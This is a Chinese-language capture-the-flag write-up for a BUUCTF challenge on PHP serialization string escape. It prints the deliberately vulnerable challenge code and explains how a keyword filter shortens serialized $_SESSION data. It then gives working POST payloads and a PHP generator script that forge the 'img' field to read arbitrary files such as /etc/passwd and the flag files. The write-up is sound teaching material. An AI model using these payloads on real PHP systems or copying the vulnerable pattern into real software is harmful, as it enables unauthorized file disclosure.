题目来自buuctf,这是一题关于php序列化逃逸的题
1. 题目
题目给出的代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
2. 分析
extract($_POST); # 导入变量
$_SESSION['img'] = base64_encode('guest_img.png'); # 改变SESSION[img]=一个固定值
$serialize_info = filter(serialize($_SESSION)); # 序列化SESSION + 过滤,这里造成逃逸
$userinfo = unserialize($serialize_info); # 反序列化
echo file_get_contents(base64_decode($userinfo['img'])); # base64解码并读取内容
可以看出是通过$_SESSION['img']来读取文件
extract可以将数组中的变量导入当前变量表
也就是说我们可以伪造$_SESSION 数组中的所有数据
_SESSION[user]=123&_SESSION[function]=456
因为extract是在
$_SESSION["user"] = 'guest'
;
$_SESSION['function'] = $function;
这两条语句后调用的,所有会覆盖里面的变量,但是后面的 $_SESSION[‘img’]覆盖不了
所以我们需要利用filter
函数
他将一些关键字进行了置空,也就是从这里发生的逃逸
3. 构造参数
如果你对php序列化的格式不了解,那么你需要先学习一下,这里我粗略讲一下
echo serialize(["a"=>"b","c"=>"d"]);
a:2:{s:1:"a";s:1:"b";s:1:"c";s:1:"d";}
比如序列化一个列表
上面第一个字符 a 表示array(数组)
每个字段由:
分隔,后面的2表示这个列表的大小为2
{}里面的内容就是数组的内容了,数组包含键值
s代表字符串,后面1表示这个字符串长度为1,"a"就是它的内容了
;
表示结束,里面4个字符串,也就是两对键值对
既然filter能将内容制空,那我们可以做出以下利用
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}
我们传递的post参数最终会变成这样
"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:12:"d2xiIGlzIG5i";i:0;i:1;}";}"
我们传递的_SESSION[a]在序列化后会全部被置空,但是!我们的字符串长度还在,就会造成后面的内容被当成字符串
构造只够长的字符串长度,将_SESSION[img]里面的内容掠过,一直覆盖到我们_SESSION[exp]中的内容
可以看出,_SESSION[exp]
里面有一个伪造的img内容,通过这种方式,就可以构造任意的_SESSION[img]字段,读取任意文件
后面 的i:0;i:1
, i代表数字,0代表键,就是0,值也是数字,值为1,索引为0,值为1
echo serialize([1]);
a:1:{i:0;i:1;}
因为我们覆盖了一个键值对,所以我们需要补充回去,遇到}
时就停止检测了,即使后面还有字符串
这里写了个脚本,使用 php 脚本.php
即可执行
<?php
$e = "/etc/passwd"; # 这里填写需要读取的文件
$e = base64_encode($e);
echo '_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=';
echo ';s:3:"img";s:'.strlen($e).':"'.$e.'";i:0;i:1;}';
这里传递 phpinfo 这个值可以执行phpinfo()查看php信息
可以看到一个文件 d0g3_f1ag.php
通过读取这个文件拿到flag
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;}
再读取 /d0g3_fllllllag
文件
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}
拿下flag